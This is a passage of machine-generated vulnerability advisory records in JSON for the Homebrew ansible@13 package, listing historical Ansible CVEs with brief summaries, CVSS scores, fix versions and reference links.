y":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Sandbox Escape via Symlink Attack","details":"The chroot, jail, and zone connection plugins in ansible before 1.9.2 allow local users to escape a restricted environment via a symlink attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-6240"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/952166f48eb0f5797b75b160fd156bbe1e8fc647"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ca2f2c4ebd7b5e097eab0a710f79c1f63badf95b"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1243468"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-3.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/08/17/10"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2016-3096","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-rh6x-qvg7-rrmj","CVE-2016-3096","PYSEC-2016-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Link Following in ansible","details":"The `create_script` function in the `lxc_container` module in Ansible before 1.9.6-1 and 2.x before 2.0.2.0 allows local users to write to arbitrary files or gain privileges via a symlink attack on (1) `/opt/.lxc-attach-script`, (2) the archived container in the `archive_path` directory, or the (3) `lxc-attach-script.log` or (4) `lxc-attach-script.err` files in the temporary directory.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-3096"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-extras/pull/1941"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-extras/commit/7c3999a92a1cd856ff9bc8913a93ff1aee8bffc3"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1322925"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rh6x-qvg7-rrmj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v1.9.6-1/CHANGELOG.md#196-dancing-in-the-street---tbd"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.0.2.0-1/CHANGELOG.md#202-over-the-hills-and-far-away"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2016-1.yaml"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-announce/E80HLZilTU0"},{"type":"WEB","url":"https://groups.google.com/forum/#!topic/ansible-announce/tqiZbcWxYig"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201607-14"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183103.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183132.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183252.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183274.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-May/184175.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2016-8614","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-cmwx-9m2h-x7v4","CVE-2016-8614","PYSEC-2018-37"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible apt_key module does not properly verify key fingerprint","details":"A flaw was found in Ansible before version 2.2.0.0. The `apt_key` module does not properly verify key fingerprints, allowing remote adversary to create an OpenPGP key which matches the short key ID and inject this key instead of the correct key.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8614"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/issues/5237"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5353"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5357"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/1182d1f0b76d56f3667e27987a10b9ec8f03357d"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/66d47c8149d84e52f64b7c4d1f340d45dca94d9c"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8614"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cmwx-9m2h-x7v4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-37.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200227214450/https://www.securityfocus.com/bid/94108"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2016-8628","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-jg4f-jqm5-4mgq","CVE-2016-8628","PYSEC-2018-38"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to properly sanitize fact variables sent from the Ansible controller","details":"Ansible before version 2.2.0 fails to properly sanitize fact variables sent from the Ansible controller. An attacker with the ability to create special variables on the controller could execute arbitrary commands on Ansible clients as the user Ansible runs as.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8628"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/41903"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/35938b907dfcd1106ca40b794f0db446bdb8cf09"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2016:2778"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8628"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jg4f-jqm5-4mgq"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-38.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200227214455/http://www.securityfocus.com/bid/94109"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2016-8647","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-x4cm-m36h-c6qj","CVE-2016-8647","PYSEC-2018-58"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"}]},"summary":"Improper Input Validation in ansible","details":"An input validation vulnerability was found in Ansible's mysql_user module before 2.2.1.0, which may fail to correctly change a password in certain circumstances. Thus the previous password would still be active when it should have been changed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8647"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5388"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/30fb384e7fb9a94ac3929e4a650877e45d8834c9"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2016-8647"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1396174"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8647"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x4cm-m36h-c6qj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-58.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2016-9587","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-m956-frf4-m2wr","CVE-2016-9587","PYSEC-2018-39"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible is vulnerable to an improper input validation in Ansible's handling of data sent from client systems","details":"Ansible before versions 2.1.4.0, 2.2.1.0 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-9587"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:0448"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:0515"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-9587"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m956-frf4-m2wr"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-39.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201701-77"},{"type":"WEB","url":"https://web.archive.org/web/20170115210655/http://www.securityfocus.com/bid/95352"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/41013"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2017-0195.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2017-0260.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2017-7466","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-3m8p-xpm6-8ww3","CVE-2017-7466","PYSEC-2018-40"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before version 2.3 has an input validation vulnerability in the handling of data sent from client systems. An attacker with control over a client system being managed by Ansible, and the ability to send facts back to the Ansible server, could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7466"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/24186"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0d418789a298561fded9bce977d34babc9097079"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7ff9fa52cfcef2065f0db80d85dd94b9b754839c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7466"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-40.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20170701161323/http://www.securityfocus.com/bid/97595"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2017-7481","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-w578-j992-554x","CVE-2017-7481","PYSEC-2018-41"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.3.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to properly mark lookup-plugin results as unsafe","details":"Ansible before versions 2.1.6.0, 2.2.3.0, 2.3.1.0, and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7481"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fd30f5328986f9e1da434474481f32bf918a600c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f0e348f5eeb70c1fb3127d90891da43b5c0a9d29"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ed56f51f185a1ffd7ea57130d260098686fcc7c2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a1886911fcf4b691130cfc70dfc5daa5e07c46a3"},{"type":"WEB","url":"https://web.archive.org/web/20170801122609/http://www.securityfocus.com/bid/98492"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-41.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7481"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:2524"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2017-7550","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-588w-w6mv-3cw5","CVE-2017-7550","PYSEC-2017-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"}]},"summary":"Ansible Insertion of Sensitive Information into Log File vulnerability","details":"A flaw was found in the way Ansible (2.3.x before 2.3.3, and 2.4.x before 2.4.1) passed certain parameters to the jenkins_plugin module. Remote attackers could use this flaw to expose sensitive information from a remote host's logs. This flaw was fixed by not allowing passwords to be specified in the \"params\" argument, and noting this in the module documentation.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7550"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/30874"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/facbf7f14da29eea67ef68ab386fc15bd06d7c7f"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:2966"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2017-7550"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1473645"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-4.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2018-10855","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-jwcc-j78w-j73w","CVE-2018-10855","PYSEC-2018-42"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible exposes sensitive data in log files and on the terminal","details":"Ansible 2.5 prior to 2.5.5, and 2.4 prior to 2.4.5, do not honor the no_log task flag for failed tasks. When the no_log flag has been used to protect sensitive data passed to a task from being logged, and that task does not run successfully, Ansible will expose sensitive data in log files and on the terminal of the user running Ansible.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10855"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1948"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1949"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2022"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2079"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10855"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jwcc-j78w-j73w"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-42.yaml"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2018-10874","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-3xvg-x47j-x75w","CVE-2018-10874","PYSEC-2018-81"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"13.8.0","key":"upstream:pkg:pypi/ansible@13.8.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Improper Input Validation vulnerability","details":"In ansible it was found that inventory variables are loaded from current working directory when running ad-hoc command which are under attacker's control, allowing to run arbitrary code as a result.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10874"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/42067"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/44874addc7ea136f83c67d5869047ece02645fdb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1f80949f964a946773f9d3ac1899535bd2cc2b8e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/10d6fe6c98cfee9a7be0fea6102ba5dec951aec7"},{"type":"WEB","url":"https://web.archive.org/web/20201130165946/http://www.securitytracker.com/id/1041396"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-81.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10874"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1596528"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2018-10874"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2018-10875","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:29Z","upstream":["GHSA-fc4h-467w-46rh","CVE-2018-10875","PYSEC-2018-43"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.8.0_2"}]}],"ecosystem_specific":{"